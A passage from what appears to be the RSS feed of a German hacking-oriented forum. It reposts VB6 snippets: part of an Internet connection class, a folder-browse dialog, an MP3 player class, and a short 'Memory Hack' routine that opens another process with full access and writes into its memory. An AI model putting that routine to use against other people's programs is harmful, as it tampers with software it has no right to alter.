&nbsp;&nbsp;&nbsp;&nbsp;ResponseInfo = sResponseInfo<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: ResponseCode<br />
'<br />
' Gibt den ResponseCode der letzten Aktion zurück<br />
'-----------------------------------------------------------<br />
Public Property Get ResponseCode() As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;GetStatus<br />
&nbsp;&nbsp;&nbsp;&nbsp;ResponseCode = lResponseCode<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: StillExecuting<br />
'<br />
' Gibt True zurück, wenn das Control beschäftigt ist<br />
'-----------------------------------------------------------<br />
Public Property Get StillExecuting() As Boolean<br />
&nbsp;&nbsp;&nbsp;&nbsp;StillExecuting = bBusy<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY LET: Protocol<br />
'<br />
' Legt das zu verwendene Protokoll fest<br />
'-----------------------------------------------------------<br />
Public Property Let Protocol(mProtocol As icProtocols)<br />
&nbsp;&nbsp;&nbsp;&nbsp;eProtocol = mProtocol<br />
&nbsp;&nbsp;&nbsp;&nbsp;Select Case eProtocol<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icHTTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RemotePort = 80<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icFTP<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RemotePort = 21<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Case icUnknown<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RemotePort = INTERNET_INVALID_PORT_NUMBER<br />
&nbsp;&nbsp;&nbsp;&nbsp;End Select<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: Protocol<br />
'<br />
' Gibt das verwendete Protokoll zurück<br />
'-----------------------------------------------------------<br />
Public Property Get Protocol() As icProtocols<br />
&nbsp;&nbsp;&nbsp;&nbsp;Protocol = eProtocol<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: RemoteHost<br />
'<br />
' Gibt den aktuellen RemoteHost zurück<br />
'-----------------------------------------------------------<br />
Property Get RemoteHost() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;RemoteHost = sRemoteHost<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY LET: RemoteHost<br />
'<br />
' Legt den RemoteHost fest<br />
'-----------------------------------------------------------<br />
Property Let RemoteHost(mRemoteHost As String)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim uC As URL_COMPONENTS<br />
&nbsp;&nbsp;&nbsp;&nbsp;sRemoteHost = mRemoteHost<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.lpszHostName = Space&#36;(255)<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwHostNameLength = 255<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwStructSize = LenB(uC)<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCrackUrl URL, 0, ICU_DECODE, uC<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim&#36;(uC.lpszHostName) &lt;&gt; sRemoteHost Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;URL = sRemoteHost<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY GET: URL<br />
'<br />
' Gibt die aktuelle URL zurück<br />
'-----------------------------------------------------------<br />
Property Get URL() As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;URL = sURL<br />
End Property<br />
<br />
'-----------------------------------------------------------<br />
' PROPERTY LET: URL<br />
'<br />
' Legt die URL fest<br />
'-----------------------------------------------------------<br />
Property Let URL(mUrl As String)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim uC As URL_COMPONENTS<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim tURL As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Password = "": UserName = ""<br />
&nbsp;&nbsp;&nbsp;&nbsp;sURL = mUrl<br />
&nbsp;&nbsp;&nbsp;&nbsp;tURL = sURL<br />
&nbsp;&nbsp;&nbsp;&nbsp;If InStr(tURL, "://") &lt; 1 Then tURL = GetProtocolStr &amp; tURL<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.lpszHostName = Space&#36;(255)<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwHostNameLength = 255<br />
&nbsp;&nbsp;&nbsp;&nbsp;uC.dwStructSize = LenB(uC)<br />
&nbsp;&nbsp;&nbsp;&nbsp;InternetCrackUrl tURL, 0, ICU_DECODE, uC<br />
&nbsp;&nbsp;&nbsp;&nbsp;If Trim&#36;(uC.lpszHostName) &lt;&gt; sRemoteHost Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sRemoteHost = Trim&#36;(uC.lpszHostName)<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Property<br />
<br />
Public Sub Cancel()<br />
&nbsp;&nbsp;&nbsp;&nbsp;Disconnect<br />
&nbsp;&nbsp;&nbsp;&nbsp;bCancel = True<br />
End Sub</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; Memory Hack]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3577</link>
			<pubDate>Mon, 26 Jul 2010 07:28:18 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3577</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long<br />
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long<br />
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long<br />
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long<br />
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long<br />
<br />
Public Function writemem(title As String, addy As Long, value As Byte)<br />
 Dim hWnd As Long: hWnd = FindWindow(vbNullString, title)<br />
 Dim pid As Long: GetWindowThreadProcessId hWnd, pid<br />
 Dim phandle As Long: phandle = OpenProcess(&amp;H1F0FFF, False, pid)<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;WriteProcessMemory phandle, addy, value, 1, 0&amp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
 CloseHandle hProcess<br />
End Function</code></div></div>
]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As Long, lpdwProcessId As Long) As Long<br />
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long<br />
Public Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Any, lpBuffer As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long<br />
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long<br />
Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long<br />
<br />
Public Function writemem(title As String, addy As Long, value As Byte)<br />
 Dim hWnd As Long: hWnd = FindWindow(vbNullString, title)<br />
 Dim pid As Long: GetWindowThreadProcessId hWnd, pid<br />
 Dim phandle As Long: phandle = OpenProcess(&amp;H1F0FFF, False, pid)<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;WriteProcessMemory phandle, addy, value, 1, 0&amp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
 CloseHandle hProcess<br />
End Function</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; Browse Folder]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3576</link>
			<pubDate>Mon, 26 Jul 2010 07:25:24 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3576</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Option Explicit<br />
<br />
Private Const BIF_RETURNONLYFSDIRS = &amp;H1<br />
Private Const BIF_DONTGOBELOWDOMAIN = &amp;H2<br />
Private Const BIF_STATUSTEXT = &amp;H4<br />
Private Const BIF_RETURNFSANCESTORS = &amp;H8<br />
Private Const BIF_EDITBOX = &amp;H10<br />
Private Const BIF_VALIDATE = &amp;H20<br />
Private Const BIF_BROWSEFORCOMPUTER = &amp;H1000<br />
Private Const BIF_BROWSEFORPRINTER = &amp;H2000<br />
Private Const BIF_BROWSEINCLUDEFILES = &amp;H4000<br />
<br />
Private Const MAX_PATH = 260<br />
<br />
Private Type T_BROWSEINFO<br />
&nbsp;&nbsp; HwndOwner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As Long<br />
&nbsp;&nbsp; pIDLRoot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br />
&nbsp;&nbsp; pszDisplayName As Long<br />
&nbsp;&nbsp; lpszTitle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As Long<br />
&nbsp;&nbsp; ulFlags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As Long<br />
&nbsp;&nbsp; lpfnCallback&nbsp;&nbsp; As Long<br />
&nbsp;&nbsp; lParam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br />
&nbsp;&nbsp; iImage&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br />
End Type<br />
<br />
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As T_BROWSEINFO) As Long<br />
<br />
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long<br />
<br />
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long<br />
<br />
Public Function BrowseFolder(ByVal HwndOwner As Long, _<br />
&nbsp;&nbsp;&nbsp;&nbsp;ByRef Titre As String) As String<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim lpIDList As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim sBuffer As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim BrowseInfo As T_BROWSEINFO<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;BrowseFolder = ""<br />
&nbsp;&nbsp;&nbsp;&nbsp;With BrowseInfo<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.HwndOwner = HwndOwner<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.lpszTitle = lstrcat(Titre, "")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.ulFlags = BIF_RETURNONLYFSDIRS<br />
&nbsp;&nbsp;&nbsp;&nbsp;End With<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpIDList = SHBrowseForFolder(BrowseInfo)<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;If (lpIDList) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sBuffer = Space(MAX_PATH)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SHGetPathFromIDList lpIDList, sBuffer<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseFolder = sBuffer<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Function</code></div></div>
]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>Option Explicit<br />
<br />
Private Const BIF_RETURNONLYFSDIRS = &amp;H1<br />
Private Const BIF_DONTGOBELOWDOMAIN = &amp;H2<br />
Private Const BIF_STATUSTEXT = &amp;H4<br />
Private Const BIF_RETURNFSANCESTORS = &amp;H8<br />
Private Const BIF_EDITBOX = &amp;H10<br />
Private Const BIF_VALIDATE = &amp;H20<br />
Private Const BIF_BROWSEFORCOMPUTER = &amp;H1000<br />
Private Const BIF_BROWSEFORPRINTER = &amp;H2000<br />
Private Const BIF_BROWSEINCLUDEFILES = &amp;H4000<br />
<br />
Private Const MAX_PATH = 260<br />
<br />
Private Type T_BROWSEINFO<br />
&nbsp;&nbsp; HwndOwner&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As Long<br />
&nbsp;&nbsp; pIDLRoot&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br />
&nbsp;&nbsp; pszDisplayName As Long<br />
&nbsp;&nbsp; lpszTitle&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As Long<br />
&nbsp;&nbsp; ulFlags&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;As Long<br />
&nbsp;&nbsp; lpfnCallback&nbsp;&nbsp; As Long<br />
&nbsp;&nbsp; lParam&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br />
&nbsp;&nbsp; iImage&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Long<br />
End Type<br />
<br />
Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As T_BROWSEINFO) As Long<br />
<br />
Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long<br />
<br />
Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long<br />
<br />
Public Function BrowseFolder(ByVal HwndOwner As Long, _<br />
&nbsp;&nbsp;&nbsp;&nbsp;ByRef Titre As String) As String<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim lpIDList As Long<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim sBuffer As String<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim BrowseInfo As T_BROWSEINFO<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;BrowseFolder = ""<br />
&nbsp;&nbsp;&nbsp;&nbsp;With BrowseInfo<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.HwndOwner = HwndOwner<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.lpszTitle = lstrcat(Titre, "")<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;.ulFlags = BIF_RETURNONLYFSDIRS<br />
&nbsp;&nbsp;&nbsp;&nbsp;End With<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;lpIDList = SHBrowseForFolder(BrowseInfo)<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;If (lpIDList) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sBuffer = Space(MAX_PATH)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SHGetPathFromIDList lpIDList, sBuffer<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sBuffer = Left(sBuffer, InStr(sBuffer, vbNullChar) - 1)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BrowseFolder = sBuffer<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Function</code></div></div>
]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[VB6&#93; cMP3 Klasse (Für Musik)]]></title>
			<link>http://back2hack.cc/showthread.php?tid=3575</link>
			<pubDate>Mon, 26 Jul 2010 07:23:02 +0200</pubDate>
			<guid isPermaLink="false">http://back2hack.cc/showthread.php?tid=3575</guid>
			<description><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>' ##############################################################<br />
' ## Modul:&nbsp;&nbsp;&nbsp;&nbsp; cMP3<br />
' ## Coder:&nbsp;&nbsp;&nbsp;&nbsp; param0re<br />
' ## Release:&nbsp;&nbsp; 26. Juli 2010<br />
' ##############################################################<br />
<br />
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpszCommand As String, ByVal lpszReturnString As String, ByVal cchReturnLength As Long, ByVal hwndCallback As Long) As Long<br />
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long<br />
Private Declare Function waveOutSetVolume Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long<br />
<br />
Private Type TagInfo<br />
&nbsp;&nbsp;&nbsp;&nbsp;Tag As String * 3<br />
&nbsp;&nbsp;&nbsp;&nbsp;Songname As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;artist As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;album As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;year As String * 4<br />
&nbsp;&nbsp;&nbsp;&nbsp;comment As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;genre As String * 1<br />
End Type<br />
<br />
Private Type lngVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;Value As Long<br />
End Type<br />
<br />
Private Type intVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;Left As Integer<br />
&nbsp;&nbsp;&nbsp;&nbsp;Right As Integer<br />
End Type<br />
<br />
Dim FileName As String<br />
Dim CurrentTag As TagInfo<br />
Dim sAlias As String * 5<br />
<br />
Private Function GetShortName(sFile As String) As String<br />
&nbsp;&nbsp;Dim sBuffer As String<br />
&nbsp;&nbsp;Dim lResult As Long<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;sBuffer = Space&#36;(255)<br />
&nbsp;&nbsp;&nbsp;&nbsp;lResult = GetShortPathName(sFile, sBuffer, Len(sBuffer))<br />
&nbsp;&nbsp;GetShortName = Left&#36;(sBuffer, InStr(sBuffer, vbNullChar) - 1)<br />
End Function<br />
<br />
Private Function FormatMP3Time(ByVal nMSec As Long) As String<br />
&nbsp;&nbsp;Dim nMin As Integer<br />
&nbsp;&nbsp;Dim nSec As Integer<br />
 <br />
&nbsp;&nbsp;nSec = Int(nMSec / 1000)<br />
&nbsp;&nbsp;nMin = Int(nSec / 60)<br />
&nbsp;&nbsp;nSec = nSec - (nMin * 60)<br />
&nbsp;&nbsp;FormatMP3Time = Format&#36;(nMin, "00") &amp; ":" &amp; Format&#36;(nSec, "00")<br />
End Function<br />
<br />
Public Function GetFileName(sFile As String) As String<br />
&nbsp;&nbsp;GetFileName = Mid&#36;(Split(sFile, "&#92;")(UBound(Split(sFile, "&#92;"))), 1, InStr(1, Split(sFile, "&#92;")(UBound(Split(sFile, "&#92;"))), ".") - 1)<br />
End Function<br />
<br />
Public Sub OpenMP3(sFile As String)<br />
&nbsp;&nbsp;mciSendString "open " &amp; GetShortName(sFile) &amp; " type MPEGVideo alias " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub PlayMP3()<br />
&nbsp;&nbsp;mciSendString "play " &amp; sAlias &amp; " from 0", 0, 0, 0<br />
End Sub<br />
<br />
Public Sub StopMP3()<br />
&nbsp;&nbsp;mciSendString "stop " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub CloseMP3()<br />
&nbsp;&nbsp;mciSendString "close " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub PauseMP3()<br />
&nbsp;&nbsp;mciSendString "pause " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub ResumeMP3()<br />
&nbsp;&nbsp;mciSendString "resume " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Function GetMP3LenUF() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;mciSendString "status " &amp; sAlias &amp; " length", sBuffer, Len(sBuffer), 0<br />
&nbsp;&nbsp;GetMP3LenUF = Val(Trim(sBuffer))<br />
End Function<br />
<br />
Public Function GetMP3Len() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;mciSendString "status " &amp; sAlias &amp; " length", sBuffer, Len(sBuffer), 0<br />
&nbsp;&nbsp;GetMP3Len = FormatMP3Time(Val(Trim(sBuffer)))<br />
End Function<br />
<br />
Public Function GetMP3Pos() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;On Error Resume Next<br />
&nbsp;&nbsp;mciSendString "status " &amp; sAlias &amp; " position", sBuffer, Len(sBuffer), 0<br />
&nbsp;&nbsp;GetMP3Pos = FormatMP3Time(Val(Trim(sBuffer)))<br />
End Function<br />
<br />
Private Function SignedInteger(ByVal UnsignedInteger As Long) As Integer<br />
&nbsp;&nbsp;&nbsp;&nbsp;UnsignedInteger = UnsignedInteger And 65535<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;If (UnsignedInteger And 32768) Then<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SignedInteger = UnsignedInteger - 65536<br />
&nbsp;&nbsp;&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SignedInteger = UnsignedInteger<br />
&nbsp;&nbsp;&nbsp;&nbsp;End If<br />
End Function<br />
<br />
Public Sub SetMP3Vol(lVol As Long)<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim intVol As intVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;Dim lngVol As lngVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;intVol.Left = SignedInteger(lVol * 6.5535)<br />
&nbsp;&nbsp;&nbsp;&nbsp;intVol.Right = SignedInteger(lVol * 6.5535)<br />
&nbsp;&nbsp;&nbsp;&nbsp;LSet lngVol = intVol<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;Call waveOutSetVolume(0, lngVol.Value)<br />
End Sub<br />
<br />
Public Function mciGetOpenFile() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;On Error Resume Next<br />
&nbsp;&nbsp;mciSendString "info " &amp; sAlias &amp; " file", sBuffer, Len(sBuffer), 0<br />
&nbsp;&nbsp;mciGetOpenFile = Left&#36;(sBuffer, InStr(sBuffer, vbNullChar) - 1)<br />
End Function<br />
<br />
Public Sub SetMP3VolState(ByVal bMute As Boolean)<br />
&nbsp;&nbsp;If bMute Then<br />
&nbsp;&nbsp;&nbsp;&nbsp; mciSendString "set " &amp; sAlias &amp; " audio all off", 0, 0, 0<br />
&nbsp;&nbsp;Else<br />
&nbsp;&nbsp;&nbsp;&nbsp; mciSendString "set " &amp; sAlias &amp; " audio all on", 0, 0, 0<br />
&nbsp;&nbsp;End If<br />
End Sub<br />
<br />
Private Sub Class_Initialize()<br />
&nbsp;&nbsp;sAlias = App.ThreadID<br />
End Sub</code></div></div>
]]></description>
			<content:encoded><![CDATA[<div class="codeblock">
<div class="title">Code:<br />
</div><div class="body" dir="ltr"><code>' ##############################################################<br />
' ## Modul:&nbsp;&nbsp;&nbsp;&nbsp; cMP3<br />
' ## Coder:&nbsp;&nbsp;&nbsp;&nbsp; param0re<br />
' ## Release:&nbsp;&nbsp; 26. Juli 2010<br />
' ##############################################################<br />
<br />
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpszCommand As String, ByVal lpszReturnString As String, ByVal cchReturnLength As Long, ByVal hwndCallback As Long) As Long<br />
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long<br />
Private Declare Function waveOutSetVolume Lib "winmm.dll" (ByVal uDeviceID As Long, ByVal dwVolume As Long) As Long<br />
<br />
Private Type TagInfo<br />
&nbsp;&nbsp;&nbsp;&nbsp;Tag As String * 3<br />
&nbsp;&nbsp;&nbsp;&nbsp;Songname As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;artist As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;album As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;year As String * 4<br />
&nbsp;&nbsp;&nbsp;&nbsp;comment As String * 30<br />
&nbsp;&nbsp;&nbsp;&nbsp;genre As String * 1<br />
End Type<br />
<br />
Private Type lngVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;Value As Long<br />
End Type<br />
<br />
Private Type intVolumeType<br />
&nbsp;&nbsp;&nbsp;&nbsp;Left As Integer<br />
&nbsp;&nbsp;&nbsp;&nbsp;Right As Integer<br />
End Type<br />
<br />
Dim FileName As String<br />
Dim CurrentTag As TagInfo<br />
Dim sAlias As String * 5<br />
<br />
Private Function GetShortName(sFile As String) As String<br />
&nbsp;&nbsp;Dim sBuffer As String<br />
&nbsp;&nbsp;Dim lResult As Long<br />
&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;sBuffer = Space&#36;(255)<br />
&nbsp;&nbsp;&nbsp;&nbsp;lResult = GetShortPathName(sFile, sBuffer, Len(sBuffer))<br />
&nbsp;&nbsp;GetShortName = Left&#36;(sBuffer, InStr(sBuffer, vbNullChar) - 1)<br />
End Function<br />
<br />
Private Function FormatMP3Time(ByVal nMSec As Long) As String<br />
&nbsp;&nbsp;Dim nMin As Integer<br />
&nbsp;&nbsp;Dim nSec As Integer<br />
 <br />
&nbsp;&nbsp;nSec = Int(nMSec / 1000)<br />
&nbsp;&nbsp;nMin = Int(nSec / 60)<br />
&nbsp;&nbsp;nSec = nSec - (nMin * 60)<br />
&nbsp;&nbsp;FormatMP3Time = Format&#36;(nMin, "00") &amp; ":" &amp; Format&#36;(nSec, "00")<br />
End Function<br />
<br />
Public Function GetFileName(sFile As String) As String<br />
&nbsp;&nbsp;GetFileName = Mid&#36;(Split(sFile, "&#92;")(UBound(Split(sFile, "&#92;"))), 1, InStr(1, Split(sFile, "&#92;")(UBound(Split(sFile, "&#92;"))), ".") - 1)<br />
End Function<br />
<br />
Public Sub OpenMP3(sFile As String)<br />
&nbsp;&nbsp;mciSendString "open " &amp; GetShortName(sFile) &amp; " type MPEGVideo alias " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub PlayMP3()<br />
&nbsp;&nbsp;mciSendString "play " &amp; sAlias &amp; " from 0", 0, 0, 0<br />
End Sub<br />
<br />
Public Sub StopMP3()<br />
&nbsp;&nbsp;mciSendString "stop " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub CloseMP3()<br />
&nbsp;&nbsp;mciSendString "close " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub PauseMP3()<br />
&nbsp;&nbsp;mciSendString "pause " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Sub ResumeMP3()<br />
&nbsp;&nbsp;mciSendString "resume " &amp; sAlias, 0, 0, 0<br />
End Sub<br />
<br />
Public Function GetMP3LenUF() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;mciSendString "status " &amp; sAlias &amp; " length", sBuffer, Len(sBuffer), 0<br />
&nbsp;&nbsp;GetMP3LenUF = Val(Trim(sBuffer))<br />
End Function<br />
<br />
Public Function GetMP3Len() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;mciSendString "status " &amp; sAlias &amp; " length", sBuffer, Len(sBuffer), 0<br />
&nbsp;&nbsp;GetMP3Len = FormatMP3Time(Val(Trim(sBuffer)))<br />
End Function<br />
<br />
Public Function GetMP3Pos() As String<br />
&nbsp;&nbsp;Dim sBuffer As String * 255<br />
 <br />
&nbsp;&nbsp;On Error Resume Next<br />
&nbsp;&nbsp;mciSendString "status " &amp; sAlias &amp; " position", sBuffer, Len(sBuffer), 0<br />
